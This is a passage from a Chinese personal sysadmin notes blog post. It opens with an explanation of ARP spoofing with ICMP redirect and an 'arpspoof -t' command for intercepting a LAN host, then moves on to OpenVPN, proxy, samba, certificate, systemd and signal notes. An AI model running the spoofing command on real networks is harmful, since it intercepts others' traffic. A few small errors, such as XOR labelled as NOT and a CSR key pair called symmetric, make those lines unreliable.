    此后,攻击方C发送IP地址为B的IP地址10101002,MAC地址为C的MAC地址00-E0-4C-33-33-33的ARP应答给A。A接收到应答后,更新其ARP缓存。这样,在主机A上B的IP地址就对应C的MAC地址。
    但是,A在发数据包给B时,仍然会在局域网内寻找10101002的MAC地址,不会把包发给路由器,这时就需要进行ICMP重定向,告诉主机A到10101002的最短路径不是局域网,而是路由,请主机重定向路由路径,
    把所有到10101002的包发给路由器。主机A在接受到这个合理的ICMP重定向后,修改自己的路由路径,把对10101002的数据包都发给路由器。这样攻击方C就能得到来自内部网段的数据包。


ubuntu下相关工具:
    arping
        arping 192.168.131.155  # 查看mac地址
        arping -c 3 192.。168.0.106  # 指定请求次数
        arping -S 10.31.3.251 10.31.3.110   # 设定arping发送的arp数据包中的源地址,好像没有欺骗的效果
    dsniff
        arpspoof -i enp98s0f0 -t 192.168.66.21 192.168.66.197       # t指定target,对目标进行欺骗

oepnvpn:

安装:

下载easy-rsa.zip并解压
    wget https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.8/EasyRSA-3.0.8.tgz
    tar zxf EasyRSA-3.0.8.tgz
    cd EasyRSA-3.0.8/
配置vars文件
    #./clean-all
    ./easyrsa init-pki
生成根证书和密钥ca.crt ca.key 
    #build-ca
    ./easyrsa build-ca nopass       # 回车即可
生成服务器证书和密钥
    #build-key-server server
    ./easyrsa gen-req server nopass
    ./easyrsa sign server server
生成客户端证书和密钥
    #build-key client
    ./easyrsa gen-req client nopass
    ./easyrsa sign client client
生成密钥交换文件
    #build-dh
    ./easyrsa gen-dh
安装openvpn
    apt install openvpn
    cd /etc/openvpn 
    mkdir keys
    cp /root/EasyRSA-3.0.8/pki/dh.pem keys/dh2048.pem
    cp /root/EasyRSA-3.0.8/pki/private/server.key keys/
    cp /root/EasyRSA-3.0.8/pki/issued/server.crt keys/
    cp /root/EasyRSA-3.0.8/pki/ca.crt keys/

配置openvpn
    cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz ./
    gzip -d  server.conf.gz
    编辑server.conf修改证书路径,配置server网段10.1.0.0,注意最好绝对路径,否则启动要在对应路径下才行
        增加前缀/etc/openvpn/keys/
        push "route 10.1.0.0 255.255.255.0" 代理拨号
        push "route 192.168.1.0 255.255.255.0"用于访问这个网段,如果全局代理了,这个可以不设
        修改cipher配置
        放开注释duplicate-cn,不然多个使用一样的证书的client会获取相同的ip
启动路由转发
    echo "net.ipv4.ip_forward = 1" >>  /etc/sysctl.conf
    sysctl -p
建立ta.key拒绝服务攻击证书文件
    openvpn --genkey --secret ta.key
    cp ta.key ./keys/
启动openvpn服务
    openvpn --daemon --config server.conf
    ss -nutl |grep 1194
    注意:
        openvpn的server默认的出口要看default route设置,vpn本身并没有相关配置
开机启动: 
    echo "/usr/local/openvpn/sbin/openvpn --daemon --config /etc/openvpn/server.conf > /dev/null 2>&1 &" >> /etc/rc.local

下载客户端:
    https://openvpn.net/community-downloads/
    ubuntu下:
        wget https://swupdate.openvpn.org/community/releases/openvpn-2.5.0.tar.gz
        tar zxf openvpn-2.5.0.tar.gz
        cd openvpn-2.5.0
        make && make install
        或者
        apt install openvpn
配置客户端文件:
    cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf .    # 如果不同服务器,从server上拷贝
    修改cipher,remote ip配置,注意最好绝对路径,否则启动要在对应路径下才行
    mkdir client 
    mv client.conf client
复制client证书 
    mkdir client/
    cp /root/EasyRSA-3.0.8/pki/ca.crt client/
    cp /root/EasyRSA-3.0.8/pki/issued/client.crt client/
    cp /root/EasyRSA-3.0.8/pki/private/client.key client/
    cp ta.key ./client/
    tar zcf client.tar client
拷贝到config目录下,启动openvpn,修改配置路径即可,会启动虚拟网卡,由openvpn分配虚拟ip,这样即可通过局域网网关访问局域网ip
    ubuntu下:
        openvpn --config ~/openvpn-2.5.0/client.conf --daemon
        查看本地ifconfig是否分配了ip

如何访问没有设置网关的局域网机器(客户端连接后默认没有网关):
    配置iptables的nat功能
    iptables -P FORWARD ACCEPT
    iptables -I INPUT -p tcp --dport 1194 -m comment --comment "openvpn" -j ACCEPT  
    iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE转化为局域网同一个网段,相互访问不需要网关

如何路由网络所有traffic
    1.在server.conf配置push "redirect-gateway def1 bypass-dhcp",重启服务。
        如果是dns,需要加上配置push "dhcp-option DNS 10.8.0.1"
    2.服务器配置
        iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
        openvpn的server默认的出口要看default route设置,vpn本身并没有相关配置

    或者client端配置:
        route-nopull        # 这个设置后,连普通的路由10.1.0.1 via 10.1.0.5 dev tun0也不会设置。从服务器同步route会报错,但不影响。
        route 0.0.0.0 0.0.0.0
        route 外网ip 255.255.255.255 net_gateway      # 外网才需要,否则可以走已经加上的route,比如192.168.0.0.21

    原理:
        重启client后,客户端的route添加了几条,比如0.0.0.0/1 via 10.8.0.5 dev tun1,改变了默认路由。
        0.0.0.0/1 via 10.1.0.5 dev tun0         # 决定了0.0.0.0-127.255.255.254的ip走tun0
        10.1.0.1 via 10.1.0.5 dev tun0          # 网关ip走tun0
        10.1.0.5 dev tun0 proto kernel scope link src 10.1.0.6  
        128.0.0.0/1 via 10.1.0.5 dev tun0       # 128.0.0.1-255.255.255.254的ip走tun0
        58.250.250.126 via 192.168.1.1 dev ens3 # server所在ip走本地网卡,例外情况。如果用的是内网,也会添加,不过会报Linux route add command failed,因为与现有route冲突了。

    dns好像没问题,可以正常解析,但不是通过10.8.0.1

条件路由:
    client.conf添加
        route-nopull                                        # 很重要,可以让客户端不同步服务器的全局代理配置,这样才能实现条件路由
        route 202.120.127.0 255.255.255.0 vpn_gateway       # 所有该网段范围的ip都走该路由

    重启client后,客户端会添加一条ip route,所有该网段范围的ip都走该路由
    注意:这样的情况下不会添加route 10.8.0.1,访问不了代理网关

    浏览器局部代理和全局代理思路:
        局部代理(被墙ip)可以通过ip route(但是ip是动态变化的,暂时方法是动态修改ip rule)
        全局代理可以通过浏览器本身的socket代理设置,原理是一个socket proxy有自己的固定监听ip,从这个ip出来可以配置走vpn。配置浏览器使用这个socket proxy即可。
        机器的全局代理就是ip default route了

二级代理:
    场景: 
        一台机器只有国际线路A,另一台同局域网的机器只有公网访问B,一台普通的机器C。
    方案:
        那么先在A搭建vpn,在局域网内的B部署客户端。A可以不设置全局代理,B客户端使用默认代理,只能访问A网关。
        然后在B搭建vpn,在C通过公网部署客户端。
            关键点:
                将B server的流量导向A server
                    iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT --to 10.8.0.1
                    iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE
                正确的做法:
                    通过ip rule的方法
        C可以配置条件路由或者全局路由都行,这样C就能访问google.com。
    方案二:
        在B搭建一个http proxy,C客户端通过proxy连接A
    问题: 
        1.C在全局代理下,域名解析REFUSED,因为递归查询了。C所有的流量都通过了vpn
        解决: 
            将 
                iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT --to 10.8.0.1
            替换为
                iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p tcp ! --dport 53 -j DNAT --to 10.8.0.1
                iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p udp ! --dport 53 -j DNAT --to 10.8.0.1
                iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p icmp -j DNAT --to 10.8.0.1              # ping遵循的协议,能够让C机器ping通
        解决2: 
            A通过bind搭建一个dns服务器,并允许递归查询,B将C的所有流量转到A,这样C即可走国际代理查询域名

        2.wget会存在证书问题,apt update、curl也是。首页index.html没问题
            二级代理的问题,一级代理测试没有这个错误
            深入调试发现,是B通过iptables转发导致的问题,通过ip route设置default route实现全局代理流向A则没问题
            本地单节点测试: 
                iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to 10.1.0.1
                wget某个网站,发现会超时失败,就算是本地的接口192.168.1.1也会失败
            问题点:
                DNAT将请求地址改了,变为请求openvpn或者路由器的服务了curl https://192.168.1.1:443/,证书肯定有问题

硬盘相关:

查看硬盘:

lsblk 

创建分区:

fdisk /dev/sdb然后输入n 
删除分区
fdisk /dev/sdb然后输入d

格式化:

mkfs.ext4 /dev/sdb1
mkfs -t ext4 /dev/sdb1 

terminal显示图片和视频:

apt install gpicview    更轻量,视频暂不支持
apt install gwenview    功能更强大,直接可以打开视频

xdg-open
    apt install xdg-utils
    打开视频需要额外安装支持,如firefox,chrome

samba服务:

安装:

apt install samba samba-common

完全卸载:

apt-get autoremove samba samba-common
apt-get purge samba samba-common

配置:

目录:

[share]
    path = /mnt/storage1/samba
    browsable =yes
    writable = no
    guest ok = yes
    read only = yes

如何使用:

ipmi使用:

填写\share\xxx.filename

挂载路径到ubuntu:

apt install cifs-utils
mount -t cifs //192.168.1.85/public /samba -o username=xxx 

证书:

CA(Certification Authority)证书,指的是权威机构给我们颁发的证书。
    密钥就是用来加解密用的文件或者字符串。密钥在非对称加密的领域里,指的是私钥和公钥,他们总是成对出现,其主要作用是加密和解密。常用的加密强度是2048bit。
    RSA即非对称加密算法。非对称加密有两个不一样的密码,一个叫私钥,另一个叫公钥,用其中一个加密的数据只能用另一个密码解开,用自己的都解不了,也就是说用公钥加密的数据只能由私钥解开。
    x.509: 定义了证书结构和认证协议标准;(基于公钥和数字签名)

证书的编码格式
    PEM(Privacy Enhanced Mail),通常用于数字证书认证机构(Certificate Authorities,CA),扩展名为.pem, .crt, .cer, 和 .key。内容为Base64编码的ASCII码文件,有类似"-----BEGIN CERTIFICATE-----" 和 "-----END CERTIFICATE-----"的头尾标记。服务器认证证书,中级认证证书和私钥都可以储存为PEM格式(认证证书其实就是公钥)。Apache和nginx等类似的服务器使用PEM格式证书。
    DER(Distinguished Encoding Rules),与PEM不同之处在于其使用二进制而不是Base64编码的ASCII。扩展名为.der,但也经常使用.cer用作扩展名,所有类型的认证证书和私钥都可以存储为DER格式。Java使其典型使用平台

证书签名请求CSR
    CSR(Certificate Signing Request),它是向CA机构申请数字证书时使用的请求文件。在生成请求文件前,我们需要准备一对对称密钥。私钥信息自己保存,请求中会附上公钥信息以及国家,城市,域名,Email等信息,CSR中还会附上签名信息。当我们准备好CSR文件后就可以提交给CA机构,等待他们给我们签名,签好名后我们会收到crt文件,即证书。
    注意:CSR并不是证书。而是向权威证书颁发机构获得签名证书的申请。
    把CSR交给权威证书颁发机构,权威证书颁发机构对此进行签名,完成。保留好CSR,当权威证书颁发机构颁发的证书过期的时候,你还可以用同样的CSR来申请新的证书,key保持不变.

数字证书和公钥
    数字证书则是由证书认证机构(CA)对证书申请者真实身份验证之后,用CA的根证书对申请人的一些基本信息以及申请人的公钥进行签名(相当于加盖发证书机 构的公章)后形成的一个数字文件。实际上,数字证书就是经过CA认证过的公钥,除了公钥,还有其他的信息,比如Email,国家,城市,域名等。
    证书包含以下信息:申请者公钥、申请者的组织信息和个人信息、签发机构CA的信息、有效时间、证书序列号等信息的明文,同时包含一个签名;
        签名的产生算法:首先,使用散列函数计算公开的明文信息的信息摘要,然后,采用CA的私钥对信息摘要进行加密,密文即签名;
    解开: 
        openssl x509 -in ./apiserver-kubelet-client.crt -text -noout
流程: 
    1.首先创建私有的CA根证书
        生成CA私钥(.key)-->生成CA证书请求(.csr)-->自签名得到根证书(.crt)(CA给自已颁发的证书)。
    2.拿到CA证书crt文件后,即可用于签发用户签名请求,颁发数字证书给用户(用户申请流程)
        生成私钥(.key)-->生成证书请求(.csr)-->用CA根证书签名得到证书(.crt)

    用户(服务端)得到证书后,可以用于客户端的ssl通信

知名机构的CA证书和自己创建CA证书的区别:
    所有的操作系统(和某些应用程序)内置了一个列表,默认信任哪些证书机构颁发的证书
    自己创建的CA证书签发的证书,别人是不信的。

    客户端验证数字证书的信任流程:
        1.客户端 C 向服务器 S 发出请求时,S 返回证书文件;
        2.客户端 C 读取证书中的相关的明文信息,采用相同的散列函数计算得到信息摘要,然后,利用对应CA的公钥(操作系统内置)解密签名数据,对比证书的信息摘要,如果一致,则可以确认证书的合法性,即公钥合法;
        3.客户端然后验证证书相关的域名信息、有效时间等信息;
        4.客户端会内置信任CA的证书信息(包含公钥),如果CA不被信任,则找不到对应 CA的证书,证书也会被判定非法。

https通信流程:
    1.客户端和服务器端经tcp三次握手,建立初步连接。
    2.客户端发送http报文请求并协商使用哪种加密算法。
    3.服务端响应报文并把自身的数字签名发给客户端。
    4.客服端下载CA的公钥,验证其数字证书的拥有者是否是服务器端(这个过程可以得到服务器端的公钥)。(一般是客户端验证服务端的身份,服务端不用验证客户端的身份。)
    5.如果验证通过,客户端生成一个随机对称的字符串,用该随机字符串加密要发送的URL链接申请,再用服务器端的公钥加密该随机字符串
    6.客户端把加密的随机字符串和加密的URL链接一起发送到服务器。
    7.服务器端使用自身的私钥解密,获得一个对称的随机字符串,再用该对称随机字符串解密经加密的URL链接,获得URL链接申请。
    8.服务器端根据获得的URL链接取得该链接的网页内容,并用客户端发来的对称密钥把该网页内容加密后发给客户端。
    9.客户端收到加密的网页内容,用自身的对称密钥解密,就能获得网页的内容了。
    10.TCP四次挥手,通信结束。

非对称加密: 
    用公钥加密,只能用私钥解开。

openssl工具:
    签发CA证书
        openssl genrsa -out ca.key 2048 
        openssl req -new -key ca.key -out ca.csr
        openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt
    签发数字证书
        openssl genrsa -des3 -out client.key 1024 
        openssl req -new -key client.key -out client.csr
        openssl ca -in client.csr -out client.crt -cert ca.crt -keyfile ca.key

cfssl工具:
    签发CA证书:
        配置ca 配置文件
        配置ca csr配置文件
        cfssl gencert -initca json/ca-csr.json  | cfssljson -bare cert_dir/ca   # 会生成ca.csr, ca-key.pem, ca.pem 三个文件
    签发数字证书: 
        申请机器的 csr 配置文件etcd-csr.json
        cfssl gencert -ca=$cert_dir/ca.pem \
                -ca-key=$cert_dir/ca-key.pem \
                -config=json/ca-config.json \
                -profile=$profile json/etcd-csr.json | cfssljson -bare $cert_dir/$profile    # 会生成$profile.csr, $profile-key.pem, $profile.pem 三个文件

配置systemctl service:

[Unit]
    Description=Etcd Server                     # 用于systemctl list-units的展示
    After=network.target                        # 仅是说明服务启动的顺序而已,并没有做到强依赖。还有Before,Requires(前置没有启动的话,该service不会启动),Conflicts冲突
    After=network-online.target         
    Wants=network-online.target                 # 最好还要启动什么服务比较好,如果没有启动,其实不会影响到这个 unit 本身!
    Documentation=https://github.com/coreos

[Service]
    Type=notify                                 # simple:由 ExecStart 接的指令串来启动,启动后常驻于内存中。
                                                # forking:当所有通信渠道都已建好、启动亦已成功之后,父进程将会退出,而子进程将作为主服务进程继续运行。 这是传统UNIX守护进程的经典做法。
                                                # oneshot:与 simple 类似,不同之处在于, 只有在该服务的主服务进程退出之后,systemd 才会认为该服务启动完成,才会开始启动后继单元
                                                # dbus:与 simple 类似,但这个 daemon 必须要在取得一个 D-Bus 的名称后,才会继续运行!因此设置这个项目时,通常也要设置 BusName= 才行!
                                                # idle:这类的 daemon 通常是开机到最后才执行即可的服务!
                                                # exec:与 simple 类似,不同之处在于, 只有在该服务的主服务进程执行完成之后,systemd 才会认为该服务启动完成。
                                                # notify:与 exec 类似,不同之处在于, 该服务将会在启动完成之后通过 sd_notify(3) 之类的接口发送一个通知消息。
    WorkingDirectory=/var/lib/etcd/             
    ExecStart=/opt/kube/bin/etcd \              # 在启动该服务时需要执行的 命令行(命令+参数)。
    ExecStop=                                   # 当该服务被要求停止时所执行的命令行
    ExecStopPost=                               # 与 ExecStop= 不同,无论服务是否启动成功, 此选项中设置的命令都会在服务停止后被无条件的执行。
    ExecReload=                                 # 当该服务 被要求重新载入配置时 所执行的命令行。 语法规则与 ExecStart= 完全相同。
    ExecStartPre=                               # 所有由 ExecStartPre= 派生的子进程 都会在启动 ExecStart= 服务进程之前被杀死。
    ExecStartPost=                              # 仅在 ExecStart= 中的命令已经全部执行成功之后才会运行。具体说来,对于 Type=simple 或 Type=idle 就是主进程已经成功启动; 
                                                    对于 Type=oneshot 来说就是最后一个 ExecStart= 进程已经成功退出; 对于 Type=forking 来说就是初始进程已经成功退出; 
                                                    对于 Type=notify 来说就是已经发送了 "READY=1" ; 对于 Type=dbus 来说就是已经取得了 BusName= 中设置的总线名称。
    Restart=always                              # 当服务进程 正常退出、异常退出、被杀死、超时的时候, 是否重新启动该服务。
    RestartSec=15                               # 设置在重启服务(Restart=)前暂停多长时间。 默认单位是秒
    LimitNOFILE=65536                           
    OOMScoreAdjust=-999                         # 内存超时kill掉的优先级,越小越低优先kill      

[Install]
    WantedBy=multi-user.target


type选择:
    1.建议对长时间持续运行的服务尽可能使用 Type=simple (这是最简单和速度最快的选择)。 注意,因为 simple 类型的服务 无法报告启动失败、也无法在服务完成初始化后对其他单元进行排序
    2.当客户端需要通过仅由该服务本身创建的IPC通道(而非由 systemd 创建的套接字或 D-bus 之类)连接到该服务的时候,simple 类型并不是最佳选择。在这种情况下, notify 或 dbus(该服务必须提供 D-Bus 接口) 才是最佳选择
    3.notify 类型需要服务进程明确使用 sd_notify() 函数或类似的API, 否则,可以使用 forking 作为替代(它支持传统的UNIX服务启动协议)。
    4.如果能够确保服务进程调用成功、服务进程自身不做或只做很少的初始化工作(且不大可能初始化失败), 那么 exec 将是最佳选择。 
    5.因为使用任何 simple 之外的类型都需要等待服务完成初始化,所以可能会减慢系统启动速度。 因此,应该尽可能避免使用 simple 之外的类型(除非必须)。

execStart只能绝对路径:
    可以通过
        /bin/bash -c '$$(which python) /etc/npu/npu_info_gen.py'
        sh -c 'dmesg | tac'

位运算与linux权限:

1.Linux基于位运算的权限控制

读   写   执行      二进制     十进制
0    0    1   ==>   001  ==>  1
0    1    0   ==>   010  ==>  2
1    0    0   ==>   100  ==>  4
0    1    1   ==>   011  ==>  3
1    0    1   ==>   101  ==>  5
1    1    0   ==>   110  ==>  6
1    1    1   ==>   111  ==>  7
最大为7,超过7后比如8&6的二进制位数不同了,就没有可比性了,一般结果为0,但|一般结果是增加的

2. 或运算实现权限的添加

增加权限使用或(|)运算实现。
“读写”两种权限,权限码为6(110),其由权限码2(010)和4(100)进行或(|
)运算后实现,即:6 = 2|4,也可以由6=2+4计算得出。

3. 与运算实现权限的判断

在需要进行用户权限判断时,可以使用与(&)运算判断用户是否据有某项权限。
根据与运算的计算规律,当运算结果为所要判断权限本身值时,我们可以认为用户具有这个权限。而当运算结果为0时,我们可以认为用户不具有这个权限。如果为较小值,则拥有判断最高权限的部分权限。
    权限码6(110)和4(100)的与运算结果为4,即:4=6&4。
    权限码6(110)和1(001)的与运算结果为0,即:0=6&1。
应用: 
    permissions = permissions & (~ace["permissions"])
    判断当前用户的权限ace["permissions"]的相反值~,是否拥有将要判断的permissions权限的部分,如果拥有,证明当前用户的权限不够

4. 非运算实现权限的减少

位运算同样可以实现用户权限的减少,减少用户权限使用非(^)运算。
权限码7(111)和1(001)的非运算结果为6,即:6=7^1,也可以由6=7-1计算得出。

5. 位移与权限码

所使用的权限码,可以将前一个权限码``左位移一位得到下一个权限码,即:

权限码1(001),即:20

2=1<<1,即:将001左移1位为010,也即:由20变为21

4=2<<1,即:将010左移1位为100,也即:由21变为22

8=4<<1,即:将100左移1位为1000,也即:由22变为23

6.~运算符

权限取反

Linux信号基础:

信号的产生方式多种多样,它可以是内核自身产生的,比如出现硬件错误),内核需要通知某一进程;
也可以是其它进程产生的,发送给内核,再由内核传递给目标进程。
内核中针对每一个进程都有一个表存储相关信息(房间的信箱)。
当内核需要将信号传递给某个进程时,就在该进程相对应的表中的适当位置写入信号(塞入纸条),这样,就生成(generate)了信号。
当该进程执行系统调用时,在系统调用完成后退出内核时,都会顺便查看信箱里的信息。
如果有信号,进程会执行对应该信号的操作(signal action, 也叫做信号处理signal disposition),此时叫做执行(deliver)信号。
# 发出的信号都会造成当前运行的进程暂停,CPU挂起,处理该信号完毕后再继续
常见信号:
    SIGINT   当键盘按下CTRL+C从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是中断 (INTERRUPT) 该进程。 2
    SIGQUIT  当键盘按下CTRL+\从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是退出 (QUIT) 该进程。   3
    SIGTSTP  当键盘按下CTRL+Z从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是暂停 (STOP) 该进程。   19
    SIGCONT  用于通知暂停的进程继续。           18
    SIGALRM  起到定时器的作用,通常是程序在一定的时间之后才生成该信号。  14
    SIGTERM  进程终止(进程可捕获)        -15
    SIGKILL  强制杀死进程(进程不可捕获,直接报错)    -9
    SIGUSR1  用户信号, 进程可自定义用途,有信号到来时触发 kill -10       # 需注意主线程有没有空闲来处理,time.sleep(1)
    SIGUSR2  用户信号, 进程可自定义用途  kill -12
    SIGXCPU  CPU超时生成该信号
    所有的这些信号都可以通过linux的kill -对应的数字来触发信号
    多线程使用信号,前一个SIGUSR1信号还没处理完就来了SIGUSR2信号,就会丢弃SIGUSR2信号。

删除正在读写的文件:

Linux 是通过 link 的数量来控制文件删除,只有当一个文件不存在任何 link 的时候,这个文件才会被删除。
每个文件都有 2 个 link 计数器 —— i_count 和 i_nlink。i_count 的意义是当前使用者的数量,i_nlink 的意义是介质连接的数量;或者可以理解为 i_count 是内存引用计数器,i_nlink 是硬盘引用计数器。
再换句话说,当文件被某个进程引用时,i_count 就会增加;当创建文件的硬连接的时候,i_nlink 就会增加。

rm 操作只是将 i_nlink 置为 0 了;由于文件被进程引用的缘故,i_count 不为 0,所以系统没有真正删除这个文件。i_nlink 是文件删除的充分条件,而 i_count 才是文件删除的必要条件。
posted @ 2021-12-28 14:05  心平万物顺  阅读(1808)  评论(0编辑  收藏  举报